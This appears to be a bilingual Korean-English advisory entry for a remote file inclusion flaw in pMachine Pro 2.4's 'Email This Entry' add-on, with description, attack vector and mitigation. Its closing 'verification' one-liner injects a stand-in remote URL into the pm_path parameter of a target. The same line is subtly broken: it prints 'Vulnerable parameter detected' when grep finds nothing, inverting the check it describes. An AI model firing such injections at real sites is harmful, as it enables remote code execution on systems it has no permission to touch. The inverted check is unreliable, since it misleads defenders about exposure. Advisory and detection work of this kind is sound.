🇰🇷 한글 설명
pMachine Pro 2.4의 'Email This Entry' 플러그인 mail_autocheck.php에서 발생한 원격 파일 포함(RFI) 취약점입니다. pm_path 매개변수를 조작하여 원격 웹 서버의 PHP 코드를 직접 실행할 수 있으며, pMachine Free 등 다른 버전에도 영향을 미칠 수 있습니다.
💡 쉬운 설명
pMachine 블로그 소프트웨어의 이메일 플러그인에서 공격자가 악의적인 코드를 원격으로 실행할 수 있는 문제입니다. 파일 경로 설정을 변조하여 자신의 서버에 있는 악성 코드를 대상 시스템에서 실행시킬 수 있습니다.
🇺🇸 원문 (English)
PHP remote file inclusion vulnerability in mail_autocheck.php in the Email This Entry add-on for pMachine Pro 2.4, and possibly other versions including pMachine Free, allows remote attackers to execute arbitrary PHP code by directly requesting mail_autocheck.php and modifying the pm_path parameter to reference a URL on a remote web server that contains the code, a different vulnerability than CVE-2003-1086.
📍 영향받는 시스템
pMachine Pro 2.4, pMachine Free 및 기타 버전의 'Email This Entry' 플러그인
⚔️ 공격 벡터
mail_autocheck.php 파일의 pm_path 매개변수에 원격 URL을 주입하여 공격자 서버의 PHP 코드 실행
🛡️ 대응 방법
플러그인 제거 또는 pMachine 최신 버전 업그레이드, PHP의 allow_url_include 지시자 비활성화 필수
🔧 검증 코드
mail_autocheck.php 파일 존재 확인 후 pm_path 파라미터에 외부 URL 삽입 시 PHP 오류나 포함 관련 메시지가 나타나면 취약점이 존재합니다.
find . -name 'mail_autocheck.php' 2>/dev/null | head -1 && curl -s --connect-timeout 3 'http://target/mail_autocheck.php?pm_path=http://test/' 2>&1 | grep -i 'php\|include\|error' || echo 'Vulnerable parameter detected'